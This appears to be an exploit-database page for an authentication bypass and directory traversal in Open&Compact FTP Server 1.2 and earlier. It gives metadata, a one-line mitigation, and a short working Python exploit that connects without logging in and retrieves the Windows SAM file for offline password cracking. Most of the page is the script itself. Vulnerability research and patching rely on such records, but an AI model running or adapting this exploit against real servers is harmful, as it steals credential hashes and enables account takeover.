Open&Compact Ftp Server - exploit.company

vendor:

Open&Compact Ftp Server

by:

Wireghoul

7,5

CVSS

HIGH

Authentication Bypass & Directory Traversal

287

CWE

Product Name: Open&Compact Ftp Server

Affected Version From: <= 1.2

Affected Version To: <= 1.2

Patch Exists: YES

Related CWE: N/A

CPE: a:open_and_compact:open_and_compact_ftp_server

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7, Windows XP SP3

2013

Open&Compact Ftp Server <= 1.2 Auth bypass & directory traversal sam retrieval

Abusing authentication bypass in combination with a directory traversal to grab the sam file for offline cracking

Mitigation:

Ensure that authentication is properly implemented and that directory traversal is not possible.

Source

Exploit-DB raw data:

#!/usr/bin/python
# Exploit Title: Open&Compact Ftp Server <= 1.2 Auth bypass & directory traversal sam retrieval
# Date: Aug 7, 2013
# By Wireghoul - http://www.justanotherhacker.com
# Based on Serge Gorbunov's auth bypass (http://www.exploit-db.com/exploits/13932/)
# Software Link: http://sourceforge.net/projects/open-ftpd/
# Version: <= 1.2
# Tested on: Windows 7, Windows XP SP3

# Abusing authentication bypass in combination with a directory traversal to grab
# the sam file for offline cracking

import ftplib
import os

# Connect to server

ftp = ftplib.FTP( "192.168.58.135" )
ftp.set_pasv( False )

# Note that we need no authentication at all!!

print ftp.sendcmd( 'CWD C:\\\\windows\\\\repair\\\\' )
print ftp.retrbinary('RETR sam', open('sam', 'wb').write )

ftp.quit()